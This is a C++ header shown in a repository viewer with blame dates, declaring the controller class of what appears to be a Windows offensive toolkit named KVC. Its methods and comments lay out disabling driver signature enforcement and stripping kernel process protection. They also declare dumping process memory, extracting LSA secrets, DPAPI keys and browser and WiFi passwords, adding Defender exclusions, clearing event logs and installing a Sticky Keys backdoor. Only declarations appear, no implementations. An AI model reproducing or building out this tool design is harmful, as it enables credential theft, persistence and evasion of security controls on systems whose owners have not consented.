Files
kvc/kvc/Controller.h

305 lines
12 KiB
C
Raw Normal View History

2025-10-16 11:10:36 +02:00
// Controller.h
// Main orchestration class for KVC Framework operations
2025-10-05 12:43:36 +02:00
2025-09-17 21:46:05 +02:00
#pragma once
2025-10-02 01:08:10 +02:00
#include "SessionManager.h"
2025-09-17 21:46:05 +02:00
#include "kvcDrv.h"
2025-10-15 01:15:59 +02:00
#include "DSEBypass.h"
2025-09-17 21:46:05 +02:00
#include "OffsetFinder.h"
#include "TrustedInstallerIntegrator.h"
#include "Utils.h"
2025-10-15 23:50:43 +02:00
#include "WatermarkManager.h"
2025-09-17 21:46:05 +02:00
#include <vector>
#include <memory>
#include <optional>
2025-09-23 22:13:43 +02:00
#include <chrono>
#include <unordered_map>
2025-09-17 21:46:05 +02:00
class ReportExporter;
2025-10-15 23:50:43 +02:00
// Kernel process structure representation
2025-09-17 21:46:05 +02:00
struct ProcessEntry
{
2025-10-15 23:50:43 +02:00
ULONG_PTR KernelAddress;
DWORD Pid;
UCHAR ProtectionLevel;
UCHAR SignerType;
UCHAR SignatureLevel;
UCHAR SectionSignatureLevel;
std::wstring ProcessName;
2025-09-17 21:46:05 +02:00
};
2025-10-15 23:50:43 +02:00
// Process search result
2025-09-17 21:46:05 +02:00
struct ProcessMatch
{
2025-10-15 23:50:43 +02:00
DWORD Pid = 0;
std::wstring ProcessName;
ULONG_PTR KernelAddress = 0;
2025-09-17 21:46:05 +02:00
};
2025-10-15 23:50:43 +02:00
// SQLite function pointers for browser operations
2025-09-17 21:46:05 +02:00
struct SQLiteAPI
{
2025-10-15 23:50:43 +02:00
HMODULE hModule = nullptr;
int (*open_v2)(const char*, void**, int, const char*) = nullptr;
int (*prepare_v2)(void*, const char*, int, void**, const char**) = nullptr;
int (*step)(void*) = nullptr;
const unsigned char* (*column_text)(void*, int) = nullptr;
const void* (*column_blob)(void*, int) = nullptr;
int (*column_bytes)(void*, int) = nullptr;
int (*finalize)(void*) = nullptr;
int (*close_v2)(void*) = nullptr;
2025-09-17 21:46:05 +02:00
};
2025-10-15 23:50:43 +02:00
// Password extraction result
2025-09-17 21:46:05 +02:00
struct PasswordResult
{
2025-10-15 23:50:43 +02:00
std::wstring type;
std::wstring profile;
std::wstring url;
std::wstring username;
std::wstring password;
std::wstring file;
std::wstring data;
std::wstring status;
uintmax_t size = 0;
2025-09-17 21:46:05 +02:00
};
2025-10-15 23:50:43 +02:00
// Registry master key for DPAPI operations
2025-09-17 21:46:05 +02:00
struct RegistryMasterKey
{
2025-10-15 23:50:43 +02:00
std::wstring keyName;
std::vector<BYTE> encryptedData;
std::vector<BYTE> decryptedData;
bool isDecrypted = false;
2025-09-17 21:46:05 +02:00
};
2025-10-16 11:10:36 +02:00
// Main controller class managing kernel driver, process protection,
// memory dumping, DPAPI extraction, and system operations
2025-09-17 21:46:05 +02:00
class Controller
{
public:
Controller();
~Controller();
2025-10-15 23:50:43 +02:00
Controller(const Controller&) = delete;
Controller& operator=(const Controller&) = delete;
Controller(Controller&&) noexcept = default;
Controller& operator=(Controller&&) noexcept = default;
2025-10-15 01:15:59 +02:00
2025-10-15 23:50:43 +02:00
// DSE bypass operations
2025-10-15 01:15:59 +02:00
bool DisableDSE() noexcept;
bool RestoreDSE() noexcept;
2025-10-18 02:01:21 +02:00
bool DisableDSEAfterReboot() noexcept;
2025-10-15 01:15:59 +02:00
ULONG_PTR GetCiOptionsAddress() const noexcept;
bool GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept;
2025-10-15 23:50:43 +02:00
2025-10-16 11:10:36 +02:00
// Handles removal and restoration of system watermark related to signature hijacking
2025-10-15 23:50:43 +02:00
bool RemoveWatermark() noexcept;
bool RestoreWatermark() noexcept;
std::wstring GetWatermarkStatus() noexcept;
2025-10-15 01:15:59 +02:00
2025-10-15 23:50:43 +02:00
// Memory dumping
2025-09-17 21:46:05 +02:00
bool DumpProcess(DWORD pid, const std::wstring& outputPath) noexcept;
bool DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath) noexcept;
2025-10-05 12:43:36 +02:00
2025-10-15 23:50:43 +02:00
// Binary management
2025-09-17 21:46:05 +02:00
bool LoadAndSplitCombinedBinaries() noexcept;
bool WriteExtractedComponents(const std::vector<BYTE>& kvcPassData,
const std::vector<BYTE>& kvcCryptData) noexcept;
2025-10-15 23:50:43 +02:00
// Process information
2025-09-17 21:46:05 +02:00
bool ListProtectedProcesses() noexcept;
bool GetProcessProtection(DWORD pid) noexcept;
bool GetProcessProtectionByName(const std::wstring& processName) noexcept;
2025-10-03 00:14:00 +02:00
bool PrintProcessInfo(DWORD pid) noexcept;
2025-09-17 21:46:05 +02:00
2025-10-15 23:50:43 +02:00
// Process protection manipulation
2025-09-17 21:46:05 +02:00
bool SetProcessProtection(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool ProtectProcess(DWORD pid, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool UnprotectProcess(DWORD pid) noexcept;
2025-10-15 23:50:43 +02:00
// Name-based operations
2025-09-17 21:46:05 +02:00
bool ProtectProcessByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
bool UnprotectProcessByName(const std::wstring& processName) noexcept;
bool SetProcessProtectionByName(const std::wstring& processName, const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
2025-10-15 23:50:43 +02:00
// Signer-based batch operations
2025-10-04 22:05:44 +02:00
bool UnprotectBySigner(const std::wstring& signerName) noexcept;
bool ListProcessesBySigner(const std::wstring& signerName) noexcept;
bool SetProtectionBySigner(const std::wstring& currentSigner,
const std::wstring& level,
const std::wstring& newSigner) noexcept;
2025-10-15 23:50:43 +02:00
// Session state management
2025-10-02 01:08:10 +02:00
bool RestoreProtectionBySigner(const std::wstring& signerName) noexcept;
bool RestoreAllProtection() noexcept;
void ShowSessionHistory() noexcept;
bool SetProcessProtection(ULONG_PTR addr, UCHAR protection) noexcept;
2025-10-05 12:43:36 +02:00
2025-10-15 23:50:43 +02:00
SessionManager m_sessionMgr;
2025-09-25 03:00:24 +02:00
2025-10-15 23:50:43 +02:00
// Batch operations
2025-09-17 21:46:05 +02:00
bool UnprotectAllProcesses() noexcept;
bool UnprotectMultipleProcesses(const std::vector<std::wstring>& targets) noexcept;
2025-10-03 09:46:50 +02:00
bool ProtectMultipleProcesses(const std::vector<std::wstring>& targets,
const std::wstring& protectionLevel,
const std::wstring& signerType) noexcept;
bool SetMultipleProcessesProtection(const std::vector<std::wstring>& targets,
const std::wstring& protectionLevel,
const std::wstring& signerType) noexcept;
2025-09-23 22:13:43 +02:00
2025-10-15 23:50:43 +02:00
// Process termination
2025-09-23 22:13:43 +02:00
bool KillMultipleProcesses(const std::vector<DWORD>& pids) noexcept;
bool KillMultipleTargets(const std::vector<std::wstring>& targets) noexcept;
2025-09-23 01:38:42 +02:00
bool KillProcess(DWORD pid) noexcept;
bool KillProcessByName(const std::wstring& processName) noexcept;
2025-10-15 23:50:43 +02:00
// Kernel access
2025-09-23 01:38:42 +02:00
std::optional<ULONG_PTR> GetProcessKernelAddress(DWORD pid) noexcept;
std::optional<UCHAR> GetProcessProtection(ULONG_PTR kernelAddress) noexcept;
std::vector<ProcessEntry> GetProcessList() noexcept;
2025-10-15 23:50:43 +02:00
// Self-protection
2025-09-23 01:38:42 +02:00
bool SelfProtect(const std::wstring& protectionLevel, const std::wstring& signerType) noexcept;
std::optional<ProcessMatch> ResolveNameWithoutDriver(const std::wstring& processName) noexcept;
2025-10-15 23:50:43 +02:00
// DPAPI password extraction
2025-09-17 21:46:05 +02:00
bool ShowPasswords(const std::wstring& outputPath) noexcept;
bool ExportBrowserData(const std::wstring& outputPath, const std::wstring& browserType) noexcept;
2025-10-15 23:50:43 +02:00
// TrustedInstaller operations
2025-09-17 21:46:05 +02:00
bool RunAsTrustedInstaller(const std::wstring& commandLine);
bool RunAsTrustedInstallerSilent(const std::wstring& command);
bool AddContextMenuEntries();
2025-10-15 23:50:43 +02:00
// Windows Defender exclusions
2025-09-17 21:46:05 +02:00
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
bool AddDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
bool RemoveDefenderExclusion(TrustedInstallerIntegrator::ExclusionType type, const std::wstring& value);
2025-10-15 23:50:43 +02:00
// Type-specific exclusions
2025-09-17 21:46:05 +02:00
bool AddExtensionExclusion(const std::wstring& extension);
bool RemoveExtensionExclusion(const std::wstring& extension);
bool AddIpAddressExclusion(const std::wstring& ipAddress);
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
bool AddProcessExclusion(const std::wstring& processName);
bool RemoveProcessExclusion(const std::wstring& processName);
bool AddPathExclusion(const std::wstring& path);
bool RemovePathExclusion(const std::wstring& path);
2025-10-15 23:50:43 +02:00
// System administration
2025-09-17 21:46:05 +02:00
bool ClearSystemEventLogs() noexcept;
2025-10-15 23:50:43 +02:00
// Driver management
2025-09-17 21:46:05 +02:00
bool InstallDriver() noexcept;
bool UninstallDriver() noexcept;
bool StartDriverService() noexcept;
bool StopDriverService() noexcept;
bool StartDriverServiceSilent() noexcept;
2025-10-05 12:43:36 +02:00
2025-10-15 23:50:43 +02:00
// Driver extraction (already decrypted by Utils)
std::vector<BYTE> ExtractDriver() noexcept;
2025-09-25 12:44:29 +02:00
2025-10-15 23:50:43 +02:00
// Emergency operations
2025-09-25 12:44:29 +02:00
bool PerformAtomicCleanup() noexcept;
2025-09-17 21:46:05 +02:00
2025-10-15 23:50:43 +02:00
// Backdoor management
2025-09-17 21:46:05 +02:00
bool InstallStickyKeysBackdoor() noexcept;
bool RemoveStickyKeysBackdoor() noexcept;
private:
2025-10-15 23:50:43 +02:00
TrustedInstallerIntegrator m_trustedInstaller;
std::unique_ptr<kvc> m_rtc;
std::unique_ptr<OffsetFinder> m_of;
std::unique_ptr<DSEBypass> m_dseBypass;
SQLiteAPI m_sqlite;
2025-09-17 21:46:05 +02:00
2025-10-15 23:50:43 +02:00
// Privilege management
2025-09-17 21:46:05 +02:00
bool EnableDebugPrivilege() noexcept;
2025-10-15 23:50:43 +02:00
bool WriteFileWithPrivileges(const std::wstring& filePath, const std::vector<BYTE>& data) noexcept;
2025-09-17 21:46:05 +02:00
2025-10-15 23:50:43 +02:00
// Binary processing
2025-09-17 21:46:05 +02:00
bool SplitCombinedPE(const std::vector<BYTE>& combinedData,
std::vector<BYTE>& kvcPassData,
std::vector<BYTE>& kvcCryptData) noexcept;
2025-10-15 23:50:43 +02:00
// Driver operations
2025-09-18 23:42:08 +02:00
bool ForceRemoveService() noexcept;
2025-09-23 01:38:42 +02:00
bool EnsureDriverAvailable() noexcept;
2025-09-17 21:46:05 +02:00
bool IsDriverCurrentlyLoaded() noexcept;
bool PerformAtomicInit() noexcept;
bool PerformAtomicInitWithErrorCleanup() noexcept;
bool InstallDriverSilently() noexcept;
bool RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept;
2025-09-23 22:13:43 +02:00
2025-10-15 23:50:43 +02:00
// Driver session management
bool m_driverSessionActive = false;
std::chrono::steady_clock::time_point m_lastDriverUsage;
2025-10-05 12:43:36 +02:00
2025-09-23 22:13:43 +02:00
bool BeginDriverSession();
2025-10-04 22:05:44 +02:00
bool IsServiceZombie() noexcept;
2025-09-23 22:13:43 +02:00
void EndDriverSession(bool force = false);
void UpdateDriverUsageTimestamp();
2025-10-15 23:50:43 +02:00
// Cache management
2025-09-23 22:13:43 +02:00
void RefreshKernelAddressCache();
std::optional<ULONG_PTR> GetCachedKernelAddress(DWORD pid);
2025-10-15 23:50:43 +02:00
// Internal process termination
2025-09-23 22:13:43 +02:00
bool KillProcessInternal(DWORD pid, bool batchOperation = false) noexcept;
2025-10-15 23:50:43 +02:00
// Kernel address cache
std::unordered_map<DWORD, ULONG_PTR> m_kernelAddressCache;
std::chrono::steady_clock::time_point m_cacheTimestamp;
std::vector<ProcessEntry> m_cachedProcessList;
2025-09-17 21:46:05 +02:00
2025-10-15 23:50:43 +02:00
// Process management
2025-09-17 21:46:05 +02:00
std::optional<ULONG_PTR> GetInitialSystemProcessAddress() noexcept;
std::vector<ProcessMatch> FindProcessesByName(const std::wstring& pattern) noexcept;
bool IsPatternMatch(const std::wstring& processName, const std::wstring& pattern) noexcept;
2025-10-03 09:46:50 +02:00
2025-10-15 23:50:43 +02:00
// Batch operation helpers
2025-10-03 09:46:50 +02:00
bool ProtectProcessInternal(DWORD pid, const std::wstring& protectionLevel,
const std::wstring& signerType, bool batchOperation) noexcept;
bool SetProcessProtectionInternal(DWORD pid, const std::wstring& protectionLevel,
const std::wstring& signerType, bool batchOperation) noexcept;
2025-09-17 21:46:05 +02:00
2025-10-15 23:50:43 +02:00
// Memory dumping
2025-09-17 21:46:05 +02:00
bool CreateMiniDump(DWORD pid, const std::wstring& outputPath) noexcept;
bool SetCurrentProcessProtection(UCHAR protection) noexcept;
2025-10-15 23:50:43 +02:00
// DPAPI extraction lifecycle
2025-09-17 21:46:05 +02:00
bool PerformPasswordExtractionInit() noexcept;
void PerformPasswordExtractionCleanup() noexcept;
2025-10-15 23:50:43 +02:00
// Registry master key extraction
2025-09-17 21:46:05 +02:00
bool ExtractRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ExtractLSASecretsViaTrustedInstaller(std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector<RegistryMasterKey>& masterKeys) noexcept;
bool ConvertHexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
bool ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept;
2025-10-04 22:05:44 +02:00
2025-10-15 23:50:43 +02:00
// Browser password processing
2025-09-17 21:46:05 +02:00
bool ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
bool ProcessSingleBrowser(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
bool ExtractBrowserMasterKey(const std::wstring& browserPath, const std::wstring& browserName, const std::vector<RegistryMasterKey>& masterKeys, std::vector<BYTE>& decryptedKey) noexcept;
int ProcessLoginDatabase(const std::wstring& loginDataPath, const std::wstring& browserName, const std::wstring& profileName, const std::vector<BYTE>& masterKey, std::vector<PasswordResult>& results, const std::wstring& outputPath) noexcept;
2025-10-15 23:50:43 +02:00
// WiFi credentials
2025-09-17 21:46:05 +02:00
bool ExtractWiFiCredentials(std::vector<PasswordResult>& results) noexcept;
2025-10-15 23:50:43 +02:00
// SQLite operations
2025-09-17 21:46:05 +02:00
bool LoadSQLiteLibrary() noexcept;
void UnloadSQLiteLibrary() noexcept;
2025-10-15 23:50:43 +02:00
// Cryptographic operations
2025-09-17 21:46:05 +02:00
std::vector<BYTE> DecryptWithDPAPI(const std::vector<BYTE>& encryptedData, const std::vector<RegistryMasterKey>& masterKeys) noexcept;
std::string DecryptChromeAESGCM(const std::vector<BYTE>& encryptedData, const std::vector<BYTE>& key) noexcept;
2025-10-15 23:50:43 +02:00
// Process name resolution
2025-09-17 21:46:05 +02:00
std::optional<ProcessMatch> ResolveProcessName(const std::wstring& processName) noexcept;
std::vector<ProcessMatch> FindProcessesByNameWithoutDriver(const std::wstring& pattern) noexcept;
};